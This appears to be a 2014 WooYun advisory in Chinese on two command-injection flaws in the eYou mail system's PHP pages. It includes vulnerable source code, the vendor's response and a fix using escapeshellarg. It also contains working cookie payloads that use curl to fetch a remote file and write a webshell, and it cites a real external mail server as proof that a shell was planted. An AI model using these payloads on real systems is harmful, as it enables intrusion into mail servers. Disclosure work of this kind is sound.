当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070551

漏洞标题:亿邮邮件系统命令执行可GetShell两处

相关厂商:北京亿中邮信息技术有限公司

漏洞作者: 路人甲

提交时间:2014-08-01 10:16

修复时间:2014-10-30 10:18

公开时间:2014-10-30 10:18

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-01: 细节已通知厂商并且等待厂商处理中
2014-08-04: 厂商已经确认,细节仅向厂商公开
2014-08-07: 细节向第三方安全合作伙伴开放
2014-09-28: 细节向核心白帽子及相关领域专家公开
2014-10-08: 细节向普通白帽子公开
2014-10-18: 细节向实习白帽子公开
2014-10-30: 细节向公众公开

简要描述:

亿邮邮件系统命令执行可GetShell两处

详细说明:

亿邮的使用量就不多说了,用户量非常可观啊
但是就是问题还很多,安全方面基本上还停留在在几年前的状态
虽然估计发布了新版本,但是用户还是使用问题较多的老版本较多。
第一处命令执行:
文件/user/autoComplete.php

$arr = explode("&",$_COOKIE["USER"]);
//--验证cookie。
for($i=0;$i<count($arr);$i++)
{
if(ereg("^SKIN=(.*)$",$arr[$i],$reg))
{
$skin = trim($reg[1]);
}
if(ereg("^UID=(.*)$",$arr[$i],$reg))
{
$uid = trim($reg[1]);
}
if(ereg("^DOMAIN=(.*)$",$arr[$i],$reg))
{
$domain = trim($reg[1]);
}
if(ereg("^TOKEN=(.*)$",$arr[$i],$reg))
{
$token = trim($reg[1]);
}
}
$part = $_GET['s'];
//$uid = "support";
//$domain = "20.eyou.com";
$users = readAddress($uid, $domain);


直接从cookie中获取参数USER
然后赋值给uid和domain
然后看看函数readAddress($uid, $domain);

function readAddress($uid,$domain){
$binary = array();
$userDir = getUserDir($uid,$domain);
$addressDir = trim($userDir, "\n\r ")."/Profile/alias.individual";
if(!is_file($addressDir)) return false;
$fp = fopen($addressDir, "r");
if(!$fp){
echo "打开地址薄失败";
exit;
}
while(false != ($content = fgets($fp, 568))){
$binary[] =unpack("a20nick_name/a40email/a40name/a60h_street_address/a30h_city/a30h_province/a8h_zip/a20h_country/a16h_phone/a30c_company/a60c_street_address/a30c_city/a30c_province/a8c_zip/a20c_country/a16c_phone/a16pager/a16cellular/a16fax/a20icq/a30other/a5b_year/a3b_month/a3b_day",$content);
}
//var_dump($binary);
return $binary;
}


最后,uid和domain又进入了函数getUserDir($uid,$domain)
我们继续跟进getUserDir

function getUserDir($uid, $domain) {
$handle = popen("/var/eyou/sbin/hashid $uid $domain", 'r');
$read = fread($handle, 2096);
pclose($handle);
return $read;
}


最后uid和domain进入了popen
$handle = popen("/var/eyou/sbin/hashid $uid $domain", 'r');
这里的/var/eyou/sbin/hashid是亿邮系统执行命令的
此时,uid和domain没有经过任何过滤直接进入了命令,导致任意命令执行
漏洞利用:
设置cookie为:
UID=1|curl http://www.testfortest.com/test.txt>>testfortest.php
然后访问localhost/user/autoComplete.php即可
此时会在localhost/user/下生成testfortest.php
shell地址为:
localhost/user/testfortest.php

111.png


第二处命令执行:
文件/user/storage_explort.php

<?php
/**
* 用户网络存储列表
*
* 该页面显示登录邮箱用户的网络存储文件列表,选择后添加到邮件的附件中。
*
* @author FengHui <[email protected]>
* @copyright 2008 eYou.net
* @version storage_explore.php 2008/05/19
*/
require_once('/var/eyou/apache/htdocs/config.php');
require_once(PATH.'inc/function.php');
require_once(PATH.'inc/libeyou.php');
require_once(PATH.'inc/operate.php');
$skin = getCookieUserValue('SKIN');
$uid = getCookieUserValue('UID');
$domain = getCookieUserValue('DOMAIN');
$user_dir_path = getUserDirPath($uid, $domain);
$storage_index_path = $user_dir_path.'/storage/Index/';
$storage_data_path = $user_dir_path.'/storage/Data/';
$userinfo = get_userinfo($uid , $domain);
// 获取用户允许上传的最大附件大小
$attachsize = (int)($userinfo['attachsize'][0]);
$is_submit = $_POST['is_submit'] ? true : false;
?>


跟进getCookieUserValue函数:

function getCookieUserValue($key) {
$user_arr = explode('&', cookie('USER'));
$n = count($user_arr);
for ($i = 0; $i < $n; $i++) {
$g_arr = explode('=', $user_arr[$i]);
if ($g_arr[0] == $key) {
return $g_arr[1];
}
}
return null;
}


跟进cookie函数:

function cookie($name){
if (array_key_exists($name, $_COOKIE)) return $_COOKIE[$name];
return '';


整个过程没有对cookie 进行过滤
直接就爱那个cookie中USER的值取出来,然后进入了getUserDirPath函数
来看看getUserDirPath函数:

/**
* 获取用户目录的路径
*
* @param string $uid
* @param string $domain
*/
function getUserDirPath($uid, $domain) {
$cmd = "/var/eyou/sbin/hashid $uid $domain";
echo $cmd;
$path = `$cmd`;
$path = trim($path);
return $path;
}


uid和domain直接进入了命令,导致命令执行。
漏洞利用:
将cookie设置为:
USER=UID=1|curl http://www.lqzjz.com.cn/test.txt>>testfortest1.php
然后访问localhost/user/storage_explore.php
此时会在localhost/user/下生成testfortest1.php文件
shell地址为:
localhost/user/testfortest1.php

222.png

漏洞证明:

如外网实例:
http://mail.bjsasc.com//user/testfortest1.php

222.png

修复方案:

在$handle = popen("/var/eyou/sbin/hashid $uid $domain", 'r');执行命令时
过滤输入的参数
可以使用escapeshellarg或者escapeshellcmd对输入的参数进行过滤。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-08-04 17:35

厂商回复:

存在于旧版系统中,亿邮解决方案,尽快联系用户修补,非常感谢提供!

最新状态:

暂无